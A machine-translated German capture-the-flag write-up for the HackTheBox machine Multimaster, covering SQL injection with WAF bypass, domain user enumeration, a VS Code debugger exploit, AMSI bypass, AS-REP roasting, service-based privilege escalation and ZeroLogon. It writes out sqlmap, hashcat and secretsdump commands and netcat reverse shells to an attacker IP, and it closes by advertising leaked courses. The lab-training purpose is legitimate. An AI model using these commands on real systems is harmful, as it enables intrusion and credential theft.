
Hallo, Ralph ist bei dir. Ich veröffentliche weiterhin Lösungen, die zur Finalisierung von Maschinen von der HackTheBox- Site gesendet wurden .
In diesem Artikel steckt viel. Lassen Sie uns sehen, wie Sie Burp Suite und sqlmap bequem kombinieren, Domänenbenutzer mit Zugriff auf MSSQL ausstatten, eine Sicherheitsanfälligkeit in Visual Studio Code ausnutzen, AMSI blockieren, AS-REP-Roasting durchführen, um Anmeldeinformationen abzurufen, und die Berechtigungen der Gruppe Server Operators erhöhen. Als Demonstration der neuen ZeroLogon-Sicherheitsanfälligkeit werden wir denselben Computer in weniger als 5 Minuten auf andere Weise erfassen.
Die Verbindung zum Labor erfolgt über VPN. Es wird empfohlen, keine Verbindung von einem Arbeitscomputer oder einem Host herzustellen, auf dem wichtige Daten für Sie vorhanden sind, da Sie sich in einem privaten Netzwerk mit Personen befinden, die etwas über Informationssicherheit wissen.
Organisationsinformationen
Aufklärung
Dieser Computer hat eine IP-Adresse vom 10.10.10.179, die ich zu / etc / hosts hinzufüge.
10.10.10.179 multimaster.htb
Der erste Schritt ist das Scannen offener Ports. Da das Scannen aller Ports mit nmap sehr lange dauert, werde ich dies zunächst mit masscan tun. Wir scannen alle TCP- und UDP-Ports von der tun0-Schnittstelle mit 500 Paketen pro Sekunde.
masscan -e tun0 -p1-65535,U:1-65535 10.10.10.179 --rate=500
Auf dem Host sind viele Ports geöffnet. Scannen wir sie jetzt mit nmap, um die benötigten zu filtern und auszuwählen.
nmap multimaster.htb -p593,49674,139,5985,49744,445,636,80,49667,3268,464,389,53,135,88,9389,3269,49676,49666,49699,49675,3389
Führen Sie jetzt einen Scan mit der Option -A aus, um detailliertere Informationen zu den Diensten zu erhalten, die an den Ports ausgeführt werden.
nmap -A multimaster.htb -p593,139,5985,445,636,80,3268,464,389,53,135,88,9389,3269,3389
Mit SMB und LDAP kann nichts getan werden, sehen wir uns das Web an.
Die Website verfügt über eine Autorisierung sowie ein Suchformular.
Darüber hinaus funktioniert die Suche nach Eingabe.
Daher können wir davon ausgehen, dass der LIKE-Operator in der SQL-Abfrage verwendet wird. Daher können Sie versuchen, alle Datensätze anzuzeigen.
Es stellt sich heraus, dass wir SQL-Injection haben.
Aber zumindest klappt etwas nicht. Anscheinend wird WAF verwendet.
Es stellte sich jedoch heraus, dass es durch die Verwendung der Unicode-Codierung umgangen wurde.
Und wir finden die Anzahl der Spalten.
Die Injektion beträgt also 100%.
Sqlmap + Burp Suite
Um einfach mit der Datenbank arbeiten zu können, verwenden wir sqlmap. Wir kennen die Codierungsmethode und das DBMS - wir werden dies in den Parametern widerspiegeln. Wir werden auch die Anfrage von Burp Suite in einer Datei speichern und deren sqlmap angeben. Definieren wir den Benutzer, unter dem die Anforderungen gestellt werden.
sqlmap -r r.req --tamper=charunicodeencode --dbms=mssql --current-user
Und leider haben wir die gleiche Antwort ohne Codierung erhalten. Zeigen wir Burp als Proxy für sqlmap. Und um keine Zeit zu verschwenden, geben wir die Union-basierte Code-Injection-Technik (Parameter U) an.
sqlmap -r r.req --tamper=charunicodeencode --dbms=mssql --technique=U -proxy http://127.0.0.1:8080 --current-user
Wir fangen Anfragen in Rülpsen ab und sehen eine etwas andere Anzeige der Codierung.
Lassen Sie uns überprüfen, ob es funktioniert. Codieren wir die uns bereits bekannte Last auf diese Weise.
Und es funktioniert nicht. Wir müssen also die Anzeige der Codierung ändern. Dies kann mit Burp erfolgen. Gehen wir zur Registerkarte Proxy -> Optionen und zum Abschnitt Match and Replace.
Fügen wir im Anforderungshauptteil eine Regel hinzu, die% u in \ u ändert.
Und stellen Sie sicher, dass es aktiv ist.
Lassen Sie uns nun sqlmap erneut ausführen.
sqlmap -r r.req --tamper=charunicodeencode --dbms=mssql --technique=U -proxy http://127.0.0.1:8080 --random-agent --current-user
In Burp sehen wir eine bereits korrigierte Anfrage.
Übertragung für alle Anfragen zulassen. Und in sqlmap erhalten wir den Namen des aktuellen Benutzers.
Aber wir sehen wieder einen Fehler. Anscheinend WAF. Fügen wir eine Verzögerung von 3 Sekunden hinzu und finden Sie die Berechtigungen heraus.
sqlmap -r r.req --tamper=charunicodeencode --dbms=mssql --technique=U -proxy http://127.0.0.1:8080 --delay=3 --random-agent --privileges
Wir können nichts tun. Lassen Sie uns die Datenbanken herausfinden.
sqlmap -r r.req --tamper=charunicodeencode --dbms=mssql --technique=U -proxy http://127.0.0.1:8080 --delay=3 --dbs
Sehen wir uns die Tabellen von Hub_DB an.
sqlmap -r r.req --tamper=charunicodeencode --dbms=mssql --technique=U -proxy http://127.0.0.1:8080 --delay=3 -D Hub_DB --tables
Genau das, was benötigt wird. Anmeldetabelle. Lassen Sie uns alle Daten daraus extrahieren.
sqlmap -r r.req --tamper=charunicodeencode --dbms=mssql --technique=U -proxy http://127.0.0.1:8080 --delay=3 -D Hub_DB -T Logins --dump
Wir haben also Benutzer- und Passwort-Hashes. Alle 4 verschiedenen Hashes sind hier vorhanden. Lassen Sie uns herausfinden, welche.
Jetzt werden wir die Hashcat-Modi herausfinden, über die wir iterieren werden.
Insgesamt gibt es drei Modi. Und mit letzterem brechen wir drei Hashes.
hashcat -a 0 -m 17900 hashes.txt ./tools/rockyou.txt
Diese Hashes sind jedoch nicht für KMU geeignet. Weiter graben.
NUTZER
Die Tatsache, dass wir Daten von MSSQL erhalten können, gibt uns die Möglichkeit, Domänenbenutzer zu erhalten. Jetzt zeige ich Ihnen, wie es geht. Zunächst müssen wir den Domainnamen erhalten.
Und jetzt müssen wir seine SID herausfinden. Wir können die SID der Domäne ermitteln, indem wir die SID eines beliebigen Domänenobjekts ermitteln und die RID daraus verwerfen. Jede Domain hat eine Domain Admins-Gruppe. Dies ermöglicht es uns, ein bereits vorhandenes Objekt in der Domäne zu haben. Lassen Sie uns seine SID herausfinden.
Es ist also verschlüsselt. Verwenden Sie die Funktion sys.fn_varbintohexstr, um sie normal anzuzeigen.
Und wir bekommen die SID dieses Objekts. Die Idee ist außerdem folgende: Wir erhalten die SID der Domäne und ersetzen verschiedene RIDs. Wir erhalten die Benutzernamen durch die vorhandene SID. Die RID des Administrators beträgt beispielsweise 500.
Nehmen Sie von der empfangenen SID die ersten 48 Bytes.
Und fügen Sie am Ende RID - 500 hinzu (vergessen Sie nicht, es umzudrehen).
Und jetzt erhalten wir den Kontonamen von unserer SID.
Da dies funktioniert, holen wir uns die Domänenobjekte. Für die Iteration verwende ich Burp Intruder.
Durch Senden einer Anfrage an Intruder weisen wir unseren Variablen 4 Bytes zu. Als nächstes müssen Sie diese 4-Byte-Variablen generieren.
for i in range(1100, 9100,1000):
for j in range(50):
h = hex(i+j)[2:].rjust(4,'0')
SID = ""
for c in (h[2:]+h[:2]):
SID += "0x" + hex(ord(c))[2:]
print(SID)
Wir speichern das Ergebnis in einer Datei und verweisen auf Burp.
Deaktivieren Sie auch die URL-Codierung und ersetzen Sie alle 0x durch \ u00.
Denken Sie an WAF, wir setzen einen Stream und die Verzögerung zwischen Anfragen.
Wir starten einen Angriff, sortieren nach Antwortlänge und beobachten viele Objekte.
Wählen Sie alle Benutzer aus und speichern Sie sie in einer Datei. Wir haben auch drei Passwörter. Wir iterieren über SMB und finden das richtige Paar.
Wir stellen eine Verbindung zu WinRM her und befinden uns im System.
USER2
Sobald wir im System sind, führen wir Aufklärung durch. Ich mache das mit winPEAS. Wir laden es auf die Maschine und führen es aus. Sie fanden dort nichts Interessantes.
Gehen wir also den schwierigen Weg. Wir müssen so viele Anmeldeinformationen wie möglich erhalten. Beginnen wir mit den Benutzernamen, die sich auf dem System befinden.
Wir speichern alles für uns in einer Datei. Aber wo finden wir ein Passwort? Der Server verwendet Datenbanken und Sie benötigen ein Kennwort, um eine Verbindung herzustellen. Lassen Sie uns versuchen, es zu bekommen.
Wir haben jedoch keine Rechte für das Webserververzeichnis. Da ich nicht wusste, was ich tun sollte, wurde die Position der auf dem Server verwendeten Software auf meiner Liste nicht geschlossen. Schauen wir uns die Liste der Prozesse an.
Und VSCode fällt ins Auge.
Daher wird Visual Studio Code 1.37.1 auf dem Server ausgeführt. Und es hat Schwachstellen, die die Ausführung von Code ermöglichen!
Wie folgt von hier :
In Visual Studio Code liegt eine Sicherheitsanfälligkeit bezüglich der Erhöhung von Berechtigungen vor, wenn ein Debug-Listener für Benutzer eines lokalen Computers verfügbar gemacht wird.
Ein Angreifer kann beliebigen Code einfügen, der im Kontext des aktuellen Benutzers ausgeführt wird. Dazu muss er bestimmen, welchen Port Visual Studio Code abhört. Wir können cefdebug verwenden , um eine Verbindung zum VSCode-Port herzustellen .
Lassen Sie uns den Abhörport finden.
Großartig, es gibt so einen Hafen. Lassen Sie uns den Code im Kontext des VSCode-Prozesses ausführen. Lassen Sie uns eine Backconnect-Shell mit nc ausführen.
.\cefdebug.exe --url ws://127.0.0.1:43819/da4e5078-2eaf-4b30-bac1-96370f4d2b3d --code "process.mainModule.require('child_process').exec(cmd.exe /c C:\Temp\nc64.exe -e cmd.exe 10.10.15.60 4321)"
Und wir sehen eine erfolgreiche Verbindung.
Wir gehen in unser Verzeichnis.
Von allen vorgestellten ist die API von größtem Interesse. Lass es uns herunterladen.
Ich ging zu Windows und überprüfte, in was die Bibliothek geschrieben war.
Dies ist C #, damit wir das Projekt dekompilieren können. Ich benutze dnSpy.
Und im Quellcode finden wir das Passwort. Um herauszufinden, für welchen Benutzer er sich befindet, verwenden wir Brute-Force-Anmeldungen (Password Spraying). Ich benutze CrackMapExec.
cme smb multimaster.htb -u users.txt -p "D3veL0pM3nT!"
Und wir nehmen noch einen Benutzer
USER3
Beim Versuch, ein Intelligence-Tool herunterzuladen und zu verwenden, werden wir von AMSI blockiert. Lassen Sie es uns mit Invoke-AlokS-AvBypass patchen .
Jetzt laden wir Sharphound sicher auf den Host.
Und nach dem Start beobachten wir das Archiv.
Jetzt laden wir es auf den lokalen Host herunter und legen es in den Bluthund. Wählen Sie als Nächstes unter Abfragen die Option Kürzeste Pfade zu Zielen mit hohem Wert aus.
Wenn wir uns in das Diagramm vertiefen, bestimmen wir die Beziehung zwischen dem von uns kontrollierten Benutzer und einem anderen Benutzer der Domäne.
Lassen Sie uns die Kommunikationsinformationen erhalten.
Auf diese Weise können wir einen Hash des Benutzerpassworts erhalten (der Prozess selbst wurde bereits in zwei ähnlichen Beschreibungen beschrieben). Wir aktivieren die Eigenschaft - keine Kerberos-Vorauthentifizierung erforderlich.
Und wir werden die Anfrage ausführen.
Kopieren Sie den Hash und brechen Sie ihn mit Hashcat.
hashcat -a 0 -m 18200 krb_hashes.txt ./tools/rockyou.txt
Wir bekommen das Passwort des Benutzers. Und wir gehen erfolgreich darunter.
WURZEL
Nachdem wir Informationen über den Benutzer erhalten haben, stellen wir fest, dass er Mitglied der Gruppe Server Operators ist.
Mitglieder dieser Gruppe können Dienste konfigurieren und ausführen (und Dienste in Windows werden im Auftrag von SYSTEM ausgeführt). Dies erfolgt normalerweise über den SensorDataService.
Lassen Sie uns mit netcat den Befehl let to ausführbar in backconnect ändern.
reg add "HKLM\System\CurrentControlSet\Services\SensorDataService" /v ImagePath /t REG_EXPAND_SZ /d "C:\Temp\nc64.exe -e powershell 10.10.15.60 4321" /f
Nach dem Starten des Dienstes stellen wir eine Verbindung zu Port 4321 fest.
sc.exe start SensorDataService
Wir sind SYSTEM.
CVE-2020-1472
Lassen Sie uns jetzt zur Demonstration versuchen, einen Domänencontroller auch ohne Einstiegspunkt und Unterstützung sofort zu erfassen. Zu diesem Zweck verwenden wir die kürzlich berüchtigte ZeroLogon-Sicherheitsanfälligkeit (CVE-2020-1472).
Grundsätzlich liegt die Sicherheitsanfälligkeit von CVE-2020-1472 in der Unvollkommenheit des kryptografischen Authentifizierungsschemas des Netlogon Remote Protocol. Dieses Protokoll wird zur Authentifizierung von Benutzern und Computern in domänenbasierten Netzwerken verwendet. Insbesondere wird Netlogon auch zum Remote-Aktualisieren von Computerkennwörtern verwendet. Die Sicherheitsanfälligkeit kann es einem Angreifer ermöglichen, sich als Client-Computer auszugeben und ein Domänencontrollerkennwort zurückzusetzen.
Versuchen wir für den Test, die Replikation von Anmeldeinformationen mit dem Hash 31d6cfe0d16ae931b73c59d7e0c089c0 (leeres Kennwort) anzufordern.
secretsdump.py -hashes :31d6cfe0d16ae931b73c59d7e0c089c0 'MEGACORP/MULTIMASTER$@10.10.10.179'
Verwenden wir nun den Exploit .
CVE-2020-1472.py MULTIMASTER MULTIMASTER$ 10.10.10.179
Wir werden informiert, dass der Angriff erfolgreich war. Erneutes Anfordern der Replikation von Anmeldeinformationen. Und wir bekommen sie.
secretsdump.py -hashes :31d6cfe0d16ae931b73c59d7e0c089c0 'MEGACORP/MULTIMASTER$@10.10.10.179'
Und mit dem Administrator-Hash können wir eine Verbindung über WinRM herstellen.
Auf diese Weise können Sie insbesondere einen Domänencontroller erfassen, basierend auf:
- alle Versionen von Windows Server 2019, Windows Server 2016;
- Alle Varianten von Windows Server, Version 1909
- Windows Server, Version 1903
- Windows Server, Version 1809 (Rechenzentrum, Standard)
- Windows Server 2012 R2
- Windows Server 2012
- Windows Server 2008 R2 Service Pack 1.
Sie können sich uns per Telegramm anschließen . Dort finden Sie interessante Materialien, durchgesickerte Kurse und Software. Lassen Sie uns eine Community zusammenstellen, in der es Menschen geben wird, die sich in vielen Bereichen der IT auskennen. Dann können wir uns in Fragen der IT und der Informationssicherheit immer gegenseitig helfen.